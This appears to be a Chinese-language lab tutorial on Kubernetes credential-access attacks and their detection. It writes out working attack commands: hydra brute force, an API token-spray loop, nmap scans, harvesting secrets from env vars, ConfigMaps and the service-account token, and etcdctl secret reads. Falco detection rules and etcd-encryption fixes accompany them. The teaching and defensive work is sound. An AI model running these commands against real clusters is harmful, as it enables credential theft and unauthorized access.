
ATT&CK TA0006 Credential Access——攻擊者如何在 K8s 叢集中竊取憑證。
| 場景 | ATT&CK | 技術 | 攻擊手法 |
|---|---|---|---|
| S24 | T1110 | Brute Force | 對 Dashboard / API Server 暴力破解 |
| S25 | T1528 | Steal Application Access Token | 從環境變數 / ConfigMap 竊取 API Token |
| S26 | T1552 | Unsecured Credentials | etcd 明文 Secrets + SA token + .docker/config.json |
Credential Access 是 ATT&CK 攻擊鏈中承上啟下的關鍵戰術——攻擊者需要更多憑證來擴展權限和存取範圍。在 K8s 環境中,憑證無處不在:SA Token 自動掛載到每個 Pod、Secret 物件預設只有 base64 編碼、環境變數可能包含 API Key。
所有指令都在 koad 專案目錄下執行。如果還沒 clone,請先參考 Day 1 的 Step 0。
開始前請確認以下環境就緒。
# 主機終端
kubectl get pods -n koad | grep -E "brute-forcer|token-leak"
預期結果:
brute-forcer 1/1 Running 0 ...
token-leak-app-... 1/1 Running 0 ...
如果 Pod 不在 Running 狀態,重新部署:
kubectl apply -f scenarios/credential-access/S24-brute-force.yaml kubectl apply -f scenarios/credential-access/S25-steal-token.yaml kubectl apply -f scenarios/credential-access/S26-unsecured-creds.yaml
# 第二終端 — 觀察憑證存取告警
kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep -i --color "koad\|token\|brute\|secret\|credential"
完成本日實作後,你將能夠:
K8s 環境中可能暴露多種需要認證的服務——Dashboard、API Server Basic Auth(K8s 1.19 前)、管理介面。攻擊者使用暴力破解工具(hydra、medusa)對這些服務發動 password spray。
K8s 暴力破解攻擊面
| 目標 | 連接埠 | 攻擊方式 |
|---|---|---|
| K8s Dashboard | 443/8443 | HTTP Basic Auth / Token 猜測 |
| API Server | 6443 | Bearer Token spray |
| etcd | 2379 | 客戶端憑證暴力破解 |
| Kubelet API | 10250 | Token 猜測 |
| 管理工具 | 各種 | Grafana/Prometheus 弱密碼 |
| 應用服務 | 各種 | DB、Redis、管理後台 |
KOAD 部署了一個使用 nginx auth_basic 的假 Dashboard:
apiVersion: v1
kind: ConfigMap
metadata:
name: dashboard-auth
namespace: koad
data:
default.conf: |
server {
listen 443;
server_name dashboard.koad.local;
location / {
auth_basic "Kubernetes Dashboard";
auth_basic_user_file /etc/nginx/.htpasswd;
root /usr/share/nginx/html;
index index.html;
}
}
# 弱密碼:admin / kubernetes123
.htpasswd: "admin:$apr1$xyz$HASH_OF_kubernetes123"
搭配 brute-forcer Pod(內含 hydra、curl、nmap):
apiVersion: v1
kind: Pod
metadata:
name: brute-forcer
namespace: koad
labels:
koad-scenario: S24
mitre-attck: T1110
spec:
containers:
- name: hydra
image: koad/brute-forcer:latest
command: ["sh", "-c", "sleep infinity"]
S24 由兩個元件組成——攻擊目標和攻擊工具:
# 目標:模擬不安全的 Dashboard
auth_basic "Kubernetes Dashboard"; # HTTP Basic Auth,最容易被暴力破解的認證方式
auth_basic_user_file /etc/nginx/.htpasswd; # 弱密碼 admin:kubernetes123
type: NodePort / nodePort: 30443 # NodePort 暴露,叢集外可直接存取
# 工具:brute-forcer Pod
image: koad/brute-forcer:latest # 內建 hydra、nmap、curl 等滲透工具
關鍵設計點:
S24 選擇暴力破解作為憑證存取的第一個場景,因為它是最低技術門檻的攻擊——只需要一個工具和一份字典檔。2020 年 Microsoft 發布的 K8s 威脅報告指出,暴露的 Dashboard 是最常被自動化掃描器攻擊的目標之一。KOAD 同時模擬 HTTP Basic Auth 和 API Server Token Spray 兩種攻擊向量,讓學員理解為什麼 K8s 應該啟用 --enable-admission-plugins=EventRateLimit 和 OIDC 取代靜態 Token。
# 主機終端
kubectl exec -it -n koad brute-forcer -- bash
預期結果:
root@brute-forcer:/#
攻擊者 Pod 已預裝 hydra、nmap 等暴力破解工具,可以直接對叢集內部服務發動密碼猜測攻擊。

以下步驟 2–5 在容器內(
brute-forcer)執行。
# 容器內 (brute-forcer)
hydra -l admin -P /wordlists/common.txt \
kube-dashboard.koad http-get / -s 443 -f
預期結果:
Hydra v9.5 (c) 2023 by van Hauser/THC
[443][http-get] host: kube-dashboard.koad login: admin password: kubernetes123
1 of 1 target successfully completed, 1 valid password found
hydra 成功以字典攻擊破解 Dashboard 密碼。叢集內部服務若使用弱密碼且無帳號鎖定機制,暴力破解通常在數秒內完成。
Falco 觀察:hydra 執行時,Falco 立即偵測到暴力破解工具:
[WARNING] KOAD S24 Brute Force Attempt (pod=brute-forcer command=hydra -l admin ...)

curl -sk -u admin:kubernetes123 https://kube-dashboard.koad/
預期結果:
<!DOCTYPE html><html>...(Dashboard HTML 頁面)
成功使用破解的密碼存取 Dashboard。

for token in $(cat /wordlists/tokens.txt); do
response=$(curl -sk -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $token" \
https://kubernetes.default/api/v1/namespaces)
if [ "$response" = "200" ]; then
echo "[!] Valid token found: ${token:0:20}..."
break
fi
done
預期結果:
[!] Valid token found: eyJhbGciOiJSUzI1Ni...
Token Spray 是對 API Server 逐一嘗試已知或洩漏的 Bearer Token,HTTP 200 表示該 Token 有效且具備 list namespaces 權限,攻擊者可藉此取得叢集存取。

nmap -sT -p 443,8443,6443,3000,9090,30000-32767 10.96.0.0/24
預期結果:
PORT STATE SERVICE
443/tcp open https ← Dashboard
3000/tcp open ppp ← Grafana(可能有預設密碼 admin/admin)
9090/tcp open zeus-admin ← Prometheus(通常無認證)
叢集內的監控工具(Grafana、Prometheus)經常使用預設密碼或完全無認證,是攻擊者最容易突破的橫向移動跳板。

| 弱點 | 說明 | 出現頻率 |
|---|---|---|
| 預設密碼 | Grafana admin/admin、Dashboard token | 非常常見 |
| 弱密碼 | kubernetes123、admin@123 | 常見 |
| 無 Rate Limiting | API Server 預設不限制認證嘗試 | 幾乎所有叢集 |
| 無帳號鎖定 | K8s 沒有內建帳號鎖定機制 | 所有叢集 |
| Token 可預測 | 某些自動產生的 Token 使用弱隨機數 | 少見但存在 |
- rule: KOAD S24 Brute Force Attempt
desc: Detect brute force tools execution in containers
condition: >
spawned_process and container and
proc.name in (hydra, medusa, ncrack, patator, crowbar)
output: >
Brute force tool detected in container
(container=%container.name pod=%k8s.pod.name ns=%k8s.ns.name
command=%proc.cmdline user=%user.name)
priority: WARNING
tags: [KOAD, T1110, credential-access, brute-force]
Falco 偵測 hydra、medusa、ncrack 等暴力破解工具的執行。但攻擊者如果使用自製腳本(如上面的 curl loop),Falco 無法偵測——需要搭配 API Server 的 Audit Log 偵測異常的認證失敗頻率。
開發者經常把 API Token、密碼和金鑰放在不該放的地方——環境變數、ConfigMap、甚至原始碼中。攻擊者只需要存取 Pod 或讀取 ConfigMap,就能取得這些憑證。

S25 展示了兩個常見的 Token 洩漏管道:
apiVersion: apps/v1
kind: Deployment
metadata:
name: token-leak-app
namespace: koad
spec:
replicas: 1
selector:
matchLabels:
app: token-leak-app
template:
metadata:
labels:
app: token-leak-app
koad-scenario: S25
spec:
containers:
- name: app
image: busybox:1.36
command: ["sh", "-c", "sleep infinity"]
env:
- name: API_KEY
value: "sk-FAKE-API-KEY-FOR-DEMO-12345"
- name: DATABASE_URL
value: "postgresql://admin:P@ssw0rd@db:5432/myapp"
- name: JWT_SECRET
value: "super-secret-jwt-key-do-not-share"
- name: GITHUB_TOKEN
value: "ghp_FAKE_TOKEN_FOR_DEMO_PURPOSES_ONLY"
apiVersion: v1
kind: ConfigMap
metadata:
name: app-secrets-exposed
namespace: koad
data:
config.yaml: |
github:
token: ghp_FAKE_TOKEN_FOR_DEMO_PURPOSES_ONLY_1234567890
slack:
webhook: https://hooks.slack.com/services/T00000000/B00000000/XXXX
aws:
access_key: AKIAIOSFODNN7EXAMPLE
secret_key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
database:
password: ProductionDbPassword!
S25 刻意重現兩種最常見的憑證洩漏反模式:
# 反模式 1:環境變數明文存放
env:
- name: API_KEY
value: "sk-FAKE-API-KEY-FOR-DEMO-12345" # 任何能 exec 進容器或讀取 Pod spec 的人都能看到
- name: DATABASE_URL
value: "postgresql://admin:P@ssw0rd@db:5432" # 連接字串包含帳號密碼
# 反模式 2:ConfigMap 當 Secret 用
kind: ConfigMap # ConfigMap 沒有任何存取控制或加密
data:
config.yaml: |
aws:
access_key: AKIAIOSFODNN7EXAMPLE # 雲端 IAM 憑證放在 ConfigMap
kubectl describe pod 或 /proc/1/environ 即可讀取,無需特殊權限S25 的設計來自 GitGuardian 2024 年報告:每年 GitHub 上有超過 1,200 萬筆 Secret 被意外提交。在 K8s 環境中,同樣的壞習慣從 Git 延伸到 Pod spec 和 ConfigMap。KOAD 選擇展示環境變數和 ConfigMap 兩條路徑,是因為它們分別對應「開發者圖方便」和「誤解 ConfigMap 用途」兩種根本原因,修復方式也不同——前者用 Secret + volumeMount,後者需要 RBAC 限制 + External Secrets Operator。
以下 S25 步驟 1–5 在主機終端用 kubectl 執行,步驟 6 在容器內執行。
# 主機終端
kubectl exec -n koad deploy/token-leak-app -- env | grep -iE 'KEY|SECRET|TOKEN|PASSWORD|URL'
預期結果:
API_KEY=sk-FAKE-API-KEY-FOR-DEMO-12345
DATABASE_URL=postgresql://admin:P@ssw0rd@db:5432/myapp
JWT_SECRET=super-secret-jwt-key-do-not-share
GITHUB_TOKEN=ghp_FAKE_TOKEN_FOR_DEMO_PURPOSES_ONLY
最簡單的憑證竊取——所有敏感資訊一覽無遺。

kubectl describe pod -n koad -l app=token-leak-app | grep -A1 -E 'API_KEY|DATABASE|SECRET|TOKEN'
預期結果:
API_KEY: sk-FAKE-API-KEY-FOR-DEMO-12345
DATABASE_URL: postgresql://admin:P@ssw0rd@db:5432/myapp
不需要 exec 權限,describe 就能看到。

kubectl get configmap app-secrets-exposed -n koad -o yaml
預期結果:
apiVersion: v1
data:
config.yaml: |
github:
token: ghp_FAKE_TOKEN_FOR_DEMO_PURPOSES_ONLY_1234567890
aws:
access_key: AKIAIOSFODNN7EXAMPLE
secret_key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
ConfigMap 不是設計來存放機密的,它沒有任何加密或存取控制。開發者誤用 ConfigMap 存放 API Key 和雲端憑證,任何有 get configmap 權限的人都能直接讀取。

kubectl get configmaps -A -o json | \
grep -iE 'password|token|secret|key|credential' | head -20
預期結果:
"password": "ProductionDbPassword!"
"token": "ghp_FAKE_TOKEN_FOR_DEMO..."
...
批量 grep 可在數秒內掃完所有 namespace 的 ConfigMap,找出散落各處的敏感資訊。這也是安全稽核時的標準檢查手法。
kubectl get pods -A -o json | \
jq -r '.items[].spec.containers[].env[]? | select(.value != null) |
select(.name | test("KEY|SECRET|TOKEN|PASSWORD|CREDENTIAL";"i")) |
"\(.name) = \(.value)"'
預期結果:
API_KEY = sk-FAKE-API-KEY-FOR-DEMO-12345
JWT_SECRET = super-secret-jwt-key-do-not-share
...
用 jq 過濾 Pod spec 中名稱含 KEY/SECRET/TOKEN/PASSWORD 的環境變數,快速定位所有明文儲存的憑證。

# 容器內 (token-leak-app)
cat /proc/self/environ | tr '\0' '\n' | grep -iE 'key|secret|token|password'
預期結果:
API_KEY=sk-FAKE-API-KEY-FOR-DEMO-12345
JWT_SECRET=super-secret-jwt-key-do-not-share
容器內任何 process 都能讀取所有環境變數。

| 洩漏管道 | 說明 | 風險等級 |
|---|---|---|
kubectl describe pod |
環境變數在 Pod spec 中明文可見 | 高 |
/proc/self/environ |
容器內任何 process 都能讀取 | 高 |
/proc/<pid>/environ |
同 namespace 的其他容器可讀 | 中 |
| Core dump | crash 時環境變數會被 dump 到檔案 | 中 |
| 日誌 | 應用 debug 輸出可能包含環境變數 | 中 |
| 子 process | fork 的子 process 繼承所有環境變數 | 低 |
| K8s Audit Log | Pod create 事件記錄完整 spec | 高 |
# 正確:用 Secret 物件存放,透過 Volume 掛載
spec:
containers:
- name: app
image: myapp:latest
volumeMounts:
- name: secrets
mountPath: /etc/secrets
readOnly: true
env:
- name: DB_PASSWORD
valueFrom:
secretKeyRef: # ← 從 Secret 引用,不是直接寫值
name: db-credentials
key: password
volumes:
- name: secrets
secret:
secretName: app-credentials
defaultMode: 0400 # ← 只有 owner 可讀
K8s 的 Secret 物件預設只是 base64 編碼,不是加密。任何能讀取 Secret 的 SA 都能取得原始值。更嚴重的是,etcd 預設也不加密 Secret 資料。

apiVersion: v1
kind: Secret
metadata:
name: database-credentials
namespace: koad
labels:
koad-scenario: S26
type: Opaque
data:
username: YWRtaW4= # base64("admin")
password: UEBzc3cwcmQxMjM= # base64("P@ssw0rd123")
---
apiVersion: v1
kind: Secret
metadata:
name: docker-registry-creds
namespace: koad
type: kubernetes.io/dockerconfigjson
data:
.dockerconfigjson: eyJhdXRocyI6eyJyZWdpc3RyeS5leGFtcGxlLmNvbSI6eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJQQHNzdzByZCIsImF1dGgiOiJZV1J0YVc0NlVFQnpjM2N3Y21RPSJ9fX0=
S26 展示三層憑證竊取路徑:
# 層次 1:K8s Secret(base64 編碼,非加密)
type: Opaque
data:
username: YWRtaW4= # echo YWRtaW4= | base64 -d → "admin"
password: UEBzc3cwcmQxMjM= # echo UEBzc3cwcmQxMjM= | base64 -d → "P@ssw0rd123"
# 層次 2:Docker Registry 憑證
type: kubernetes.io/dockerconfigjson # 包含 Registry 帳密,被竊取可推送惡意映像
data:
.dockerconfigjson: eyJhdXRocy... # base64 解碼後是完整的 docker login 憑證
# 層次 3:攻擊 Pod 配置
serviceAccountName: overprivileged-sa # 擁有讀取所有 Secret 的權限
image: bitnami/kubectl:latest # kubectl get secrets -o yaml 一行搞定
kubectl get secret -o yaml 即可取得 base64 值S26 是 KOAD 中最直接揭露 K8s 安全設計缺陷的場景:Secret 物件的 base64 編碼給人一種「已經加密」的錯覺,但實際上只是編碼。2023 年 Aqua Security 的調查發現,超過 50% 的 K8s 叢集未啟用 etcd 靜態加密(EncryptionConfiguration)。KOAD 刻意放入 Opaque 和 dockerconfigjson 兩種 Secret 類型,加上自動掛載的 SA Token,讓學員體驗完整的「Secret 竊取 → base64 解碼 → 橫向利用」攻擊鏈。
kubectl get secrets -n koad
預期結果:
NAME TYPE DATA AGE
database-credentials Opaque 2 38m
docker-registry-creds kubernetes.io/dockerconfigjson 1 38m
default-token-xxx kubernetes.io/service-account-token 3 38m
了解有哪些憑證可以偷。

kubectl get secret database-credentials -n koad \
-o jsonpath='{.data.password}' | base64 -d
預期結果:
P@ssw0rd123
一行指令取得明文密碼。

kubectl get secret docker-registry-creds -n koad \
-o jsonpath='{.data.\.dockerconfigjson}' | base64 -d | jq
預期結果:
{
"auths": {
"registry.example.com": {
"username": "admin",
"password": "P@ssw0rd",
"auth": "YWRtaW46UEBzc3cwcmQ="
}
}
}
dockerconfigjson類型 Secret 包含私有 Registry 的帳密,攻擊者取得後可以拉取私有映像檔(讀取原始碼)或推送惡意映像檔(供應鏈攻擊)。

cat /var/run/secrets/kubernetes.io/serviceaccount/token
預期結果:
eyJhbGciOiJSUzI1NiIsImtpZCI6Im...
K8s 預設會自動掛載 SA Token 到每個 Pod 的
/var/run/secrets/路徑。這個 JWT 可直接用於 API Server 認證,是容器內最容易取得的憑證。

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default/api/v1/namespaces/koad/secrets
預期結果:
{
"kind": "SecretList",
"items": [...]
}
如果 SA 有 list secrets 權限,就能列出所有 Secret。

此步驟需要先逃逸到 control plane 節點並取得 etcd 客戶端憑證(參考 Day 8–11)。
# 已逃逸到 control plane 節點
ETCDCTL_API=3 etcdctl get /registry/secrets/koad/database-credentials \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key
預期結果:
/registry/secrets/koad/database-credentials
k8s:enc:identity:v1:...P@ssw0rd123...
如果未設定 EncryptionConfiguration,Secret 資料以明文存放在 etcd 中。

kubectl get secrets -A -o json | \
jq -r '.items[] | select(.type == "Opaque") |
"\(.metadata.namespace)/\(.metadata.name): \(.data | keys)"'
預期結果:
koad/database-credentials: ["password","username"]
koad-production/production-db-creds: ["host","password","username"]
一次列出所有 namespace 的 Opaque 類型 Secret 及其 key 名稱,攻擊者可據此判斷哪些 Secret 最有價值,再逐一 base64 解碼取得明文。

在 KOAD 攻擊鏈中,Falco 為 SA Token 讀取產生了 85 筆告警——這是觸發最多的規則。每次 kubectl 執行都會讀取 SA Token(/var/run/secrets/kubernetes.io/serviceaccount/token),所以這個數字反映了攻擊鏈中 kubectl 的使用頻率。
SA Token 讀取的攻擊鏈分佈:
kubectl get pods → 讀取 Token → Falco 告警
kubectl get secrets → 讀取 Token → Falco 告警
kubectl exec → 讀取 Token → Falco 告警
kubectl apply → 讀取 Token → Falco 告警
kubectl delete → 讀取 Token → Falco 告警
... × 85 次操作 = 85 筆告警
核心問題:每個 Pod 預設掛載 SA Token
= 每個被攻破的 Pod 都自帶一把鑰匙
- rule: KOAD S26 SA Token Read
desc: Detect non-system processes reading ServiceAccount tokens
condition: >
open_read and container and
fd.name = /var/run/secrets/kubernetes.io/serviceaccount/token and
not proc.name in (kubelet, kube-proxy, coredns)
output: >
ServiceAccount token read by non-system process
(container=%container.name pod=%k8s.pod.name ns=%k8s.ns.name
command=%proc.cmdline user=%user.name)
priority: NOTICE
tags: [KOAD, T1552, credential-access]
偵測非 kubelet/kube-proxy process 讀取 SA token 檔案。
Credential Access 是連接 Discovery 和 Lateral Movement 的橋梁:

S26 揭露了一個關鍵事實:K8s Secret 在 etcd 中預設以明文(base64 編碼)儲存。任何能直接存取 etcd 的人都能讀取全部 Secret。解決方案是啟用 etcd 靜態加密。
API Server 透過 --encryption-provider-config 參數載入加密設定:
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
providers:
# 首選:用於加密新寫入的資料
- aescbc:
keys:
- name: key1
secret: <BASE64_ENCODED_32_BYTE_KEY>
# 備選:identity 允許讀取未加密的舊資料
- identity: {}
| Provider | 演算法 | 強度 | 效能 | 建議用途 |
|---|---|---|---|---|
aescbc |
AES-256-CBC | 高 | 中 | 通用首選 |
aesgcm |
AES-256-GCM | 高 | 高 | 需要定期輪換金鑰(不輪換會有安全風險) |
secretbox |
XSalsa20+Poly1305 | 高 | 高 | 較新的選擇 |
identity |
無加密 | 無 | 最高 | 僅用於讀取未加密的歷史資料 |
# 1. 產生加密金鑰
head -c 32 /dev/urandom | base64
# 2. 建立 EncryptionConfiguration(放在 /etc/kubernetes/enc/ 下)
# 3. 修改 API Server manifest 加入參數
# --encryption-provider-config=/etc/kubernetes/enc/enc.yaml
# 4. 重新加密所有現有 Secret
kubectl get secrets --all-namespaces -o json | kubectl replace -f -
# 5. 驗證加密生效
# 建立測試 Secret
kubectl create secret generic test-encryption -n default --from-literal=mykey=mydata
# 直接從 etcd 讀取,確認資料已加密
ETCDCTL_API=3 etcdctl get /registry/secrets/default/test-encryption \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key | hexdump -C | head -20
加密前的輸出(明文可見):
00000000 ... k8s:enc:identity:v1: ...
00000040 ... m y d a t a ... ← 明文 "mydata" 直接可見
加密後的輸出(亂碼):
00000000 ... k8s:enc:aescbc:v1:key1 ...
00000040 xx xx xx xx xx xx xx xx ← 全部是加密後的亂碼,看不到 "mydata"
加密後
hexdump輸出中不會出現明文字串。如果仍然看到mydata,代表加密設定未生效——檢查 API Server 是否已載入--encryption-provider-config參數並重啟。
# 清理測試 Secret
kubectl delete secret test-encryption -n default
CKS 必考:etcd encryption at rest 幾乎每次 CKS 考試都會出現。你需要能背出 EncryptionConfiguration 的結構、知道怎麼修改 API Server 參數、以及如何驗證加密是否生效。
| 場景 | Falco 規則 | 告警數(攻擊鏈) | 其他偵測 |
|---|---|---|---|
| S24 | KOAD S24 Brute Force Attempt | — | API Server Audit Log 認證失敗記錄 |
| S25 | — | — | k8s_audit 偵測 ConfigMap 讀取 + RBAC 限制 |
| S26 | KOAD S26 SA Token Read | 85 | Audit Log 偵測 Secret list/get |
| 考點 | 本日內容 | 權重 | 考試提示 |
|---|---|---|---|
| Secret 管理 | base64 ≠ 加密 | Cluster Hardening 15% | 會考 EncryptionConfiguration(Day 17) |
| SA Token | automountServiceAccountToken: false | Cluster Hardening 15% | 必考:Pod 和 SA 兩個層級都要設定 |
| etcd 加密 | EncryptionConfiguration | Cluster Hardening 15% | 必考:完整配置流程 |
| RBAC | 限制 Secret 的 get/list | Cluster Hardening 15% | 重點:list 比 get 更危險 |
# 主機終端 — 重建攻擊 Pod
kubectl delete pod -n koad brute-forcer 2>/dev/null
kubectl apply -f scenarios/credential-access/S24-brute-force.yaml
kubectl apply -f scenarios/credential-access/S25-steal-token.yaml
kubectl apply -f scenarios/credential-access/S26-unsecured-creds.yaml
本日場景為讀取操作,不會破壞環境。但如果你修改了 Audit Policy 或 etcd,請參考 Day 15 的清理步驟恢復。
| 問題 | 原因 | 解法 |
|---|---|---|
hydra 找不到指令 |
brute-forcer Pod 未預裝或映像不同 | kubectl exec -n koad brute-forcer -- which hydra 確認路徑;或用 apt-get install -y hydra 安裝 |
hydra 連線 Connection refused |
Dashboard Service 未啟動或連接埠錯誤 | kubectl get svc -n koad kube-dashboard 確認 ClusterIP 和 Port |
kubectl get secrets 回傳 Forbidden |
目前 SA 沒有 list secrets 權限 | kubectl auth can-i list secrets -n koad 檢查權限;確認 Pod 使用 overprivileged-sa |
| etcd 加密設定後 API Server 無法啟動 | EncryptionConfiguration YAML 格式錯誤或金鑰長度不對 | 金鑰必須是 32 bytes 的 base64 編碼;用 head -c 32 /dev/urandom | base64 重新產生 |
etcdctl 連線失敗 connection refused |
etcd 未使用預設連接埠或需要 TLS 憑證 | 確認 --cacert、--cert、--key 路徑正確;Minikube 下用 minikube ssh 進入節點再執行 |
| SA Token 路徑為空 | Pod 設定了 automountServiceAccountToken: false |
檢查 Pod spec 和 SA 的 automountServiceAccountToken 設定 |
base64 -d 輸出亂碼 |
欄位本身是二進位資料(如 dockerconfigjson 的巢狀編碼) | 加上 | jq 做 JSON 格式化;或用 kubectl get secret -o jsonpath 指定欄位 |
describe pod 看到明文環境變數明天 Day 17 的防禦篇會講 etcd 加密(EncryptionConfiguration)、External Secret Operator、Vault 整合和 Bound Token 機制——從根源解決憑證安全問題。